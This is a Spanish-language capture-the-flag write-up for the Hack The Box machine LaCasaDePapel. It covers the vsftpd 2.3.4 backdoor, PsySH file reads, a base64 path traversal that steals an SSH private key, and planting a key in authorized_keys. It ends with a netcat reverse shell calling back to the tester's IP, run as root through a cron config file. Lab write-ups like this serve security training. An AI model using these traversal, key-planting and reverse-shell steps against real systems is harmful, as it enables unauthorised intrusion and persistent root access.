Hack The Box - LaCasaDePapel Writeup
MASSCAN
Escaneo de puertos tcp/udp.masscan -p1-65535,U:1-65535 10.10.10.131 --rate=1000 -e tun0 Starting masscan 1.0.4 (http://bit.ly/14GZzcT) -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 443/tcp on 10.10.10.131 Discovered open port 22/tcp on 10.10.10.131 Discovered open port 80/tcp on 10.10.10.131 Discovered open port 21/tcp on 10.10.10.131
NMAP
Escaneo de puertos/servicios.Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-03 00:48 BST Nmap scan report for 10.10.10.131 Host is up (0.22s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 7.9 (protocol 2.0) | ssh-hostkey: | 2048 03:e1:c2:c9:79:1c:a6:6b:51:34:8d:7a:c3:c7:c8:50 (RSA) | 256 41:e4:95:a3:39:0b:25:f9:da:de:be:6a:dc:59:48:6d (ECDSA) |_ 256 30:0b:c6:66:2b:8f:5e:4f:26:28:75:0e:f5:b1:71:e4 (ED25519) 80/tcp open http Node.js Express framework |_http-title: La Casa De Papel 443/tcp open ssl/http Node.js Express framework | ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel | Not valid before: 2019-01-27T08:35:30 |_Not valid after: 2029-01-24T08:35:30 |_ssl-date: TLS randomness does not represent time | tls-alpn: |_ http/1.1 | tls-nextprotoneg: | http/1.1 |_ http/1.0 Service Info: OS: Unix Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 69.11 secondsAgregamos lacasadepapel.htb a nuestro archivo /etc/hosts.
HTTPS
Al visitar la pagina en https nos muestra un error de certificado.HTTP
Al visitar la pagina nos muestra una imagen QR.FTP
Encontramos ftp en su version vftpd 2.3.4 el cual tiene una vulnerabilidad de backdoor, utilizamos exploit escrito en python para ejecutar comandos, cuando lo ejecutamos nos muestra un mensaje de 'Psy Shell', intentamos conectarnos al puerto 6200, y encontramos una shell de Psysh, y, con el comando dir la clase $tokyo.
INFO: https://www.hackingtutorials.org/metasploit-tutorials/exploiting-vsftpd-metasploitable/ Exploit: https://github.com/In2econd/vsftpd-2.3.4-exploit
Utilizamos el comando 'show $tokyo' para mostrar el codigo que en este se encuentra.
class Tokyo { private function sign($caCert,$userCsr) { $caKey = file_get_contents('/home/nairobi/ca.key'); $userCert = openssl_csr_sign($userCsr, $caCert, $caKey, 365, ['digest_alg'=>'sha256']); openssl_x509_export($userCert, $userCertOut); return $userCertOut; } }
Al parecer es una clase que crea un certificado para tener acceso a la pagina en https, vamos a generar el nuestro utilizando la key (ca.key) que utiliza la funcion. Para leer este archiv utilizamos: file_get_contents(archivo).
Generamos nuestro certificado para firefox con los siguientes comandos:
Importamos nuestro certificado a firefox y al visitar la pagina nos muestra lo siguiente:openssl req -key ca.key -new -x509 -days 365 -out lacasadepapelhtb.crt -subj "/C=US/ST=New York/L=Brooklyn/O= La Casa De Papel/CN=lacasadepapel.htb" openssl pkcs12 -export -in lacasadepapelhtb.crt -inkey ca.key -out lacasadepapelhtb.p12
Al visitar SEASON-1 nos muestra una lista de videos en formato avi al visitar o dar click a uno de ellos nos descarga un archivo, vacio.
01.avi https://lacasadepapel.htb/file/U0VBU09OLTEvMDEuYXZpDicha url en su parte final (/U0VBU09OLTEvMDEuYXZp) esta codificada en base64, por lo que al decodificarla obtenemos el valor de SEASON-1/01.avi, sabiendo esto podemos codificar '../../../../etc/passwd' en base64 para observar que pasa si codificamos una ruta de un archivo para descargarla.
Asi es como obtenemos el archivo /etc/passwd, ahora que sabemos como descargar archivos vamos a descargar el id_rsa (../.ssh/id_rsa) del usuario 'berlin' y asi conectarnos mediante el servicio ssh. Por alguna razon el id_rsa del usuario 'berlin' no funciona en si mismo, funciona con el usuario 'professor' y 'dali'. En el caso de dali debemos de agregar nuestra clave al archivo authorized_keys mediante PSYSH.
USUARIO DALI PSYSH
https://www.sitepoint.com/interactive-php-debugging-psysh/Utilizando psysh en el puerto 6200 mediante telnet podemos leer y escribir archivos, en este caso vamos a leer el archivo /etc/passwd.
$file = file_get_contents('/etc/passwd');echo $file;
Al revisar dicho archivo vemos que el usuario 'dali' tiene como shell psysh y su directorio principal es /home/dali.
INFO: https://www.cyberciti.biz/faq/understanding-etcpasswd-file-format/
Ya que sabemos que psysh es ejecutado por el usuario dali y tenemos acceso a su directorio principal, podemos generar y agregar nuestra id_rsa.pub a el archivo authorized_keys del usuario dali, para luego poder conectarnos por medio de ssh.
Escribimos y verificamos.$text = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkleT1qRUUh9Qu7dT4UXLIfsQc4qkEvKax/+7T3l24zhIJm3R2KOEbfOYdtRBwVOyoE8YfXp7YjPV/lFa7W5MkOoXACk3bl1rYS8GrRr/uYMabrponpZTFPMRl90lBArarRPMFtEKtrhoTw+QBSdKa8Be5AOCp5I+Ky8hF/Pf7uSgThtYD7/LLFIpW6YJJu06M890xah1TwuXkgqzPfPWtaVOYvS1smnSYbjflNtMQ0pHSHBTElXx9r9VmFXIslBkST1iHbQT5ZzWHvKxFQkAEoLyAqdvIkgJ7zKbcEwz9bQO4dPVe18D4srDGUnoG+v+/YNexvwmHaCP/V5cUdupv root@sckull";$filename = "/home/dali/.ssh/authorized_keys";$fh = fopen($filename, "a");fwrite($fh, $text);fclose($fh);
Ahora nos conectamos con la clave de 'berlin'.
USUARIO PROFESSOR - SSH
Para el usuario professor utilizamos la misma clave para conectarnos y obtenemos una sesion ssh.USER - FLAG
Al enumerar las carpetas de los usuarios encontramos nuestra bandera user.txt en la carpeta de berlin, para obtenernuestra bandera encodeamos la direccion en base64 y la descargamos de la misma forma que la clave de berlin.
PRIVILEGE ESCALATION
Utilizamos pspy64 para ver los cronjobs que se ejecutan.Encontramos un proceso que se ejecuta, y que utiliza node y un archivo memcached.js.
El archivo memcached.js se encuentra en nuestra carpeta principal (/home/professor) pero no tenemos permisos, tambien se encuentra otro archivo llamadao memcached.ini que contiene un comando que ejecuta node con el archivo memcached.js.
Hacemos una prueba de ping con el usuario root a nuestra ip, agregamos lo siguiente a memcached.ini, pero primero renombramos el archivo anterior a otro ya que no tenemos permisos, creamos un nuevo archivo con el mismo nombre y agregamos lo siguiente.
Y obtenemos la respuesta en nuestra maquina.
Para obtener una shell inversa creamos un archivo con nuestra shell inversa dentro, y agregamos su ejecucion dentro del archivo memcached.ini.
batman.sh
memcached.iniecho "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.12.119 7878 >/tmp/f" > /tmp/batman.sh
[program:memcached] command = sudo -u root sh /tmp/batman.sh























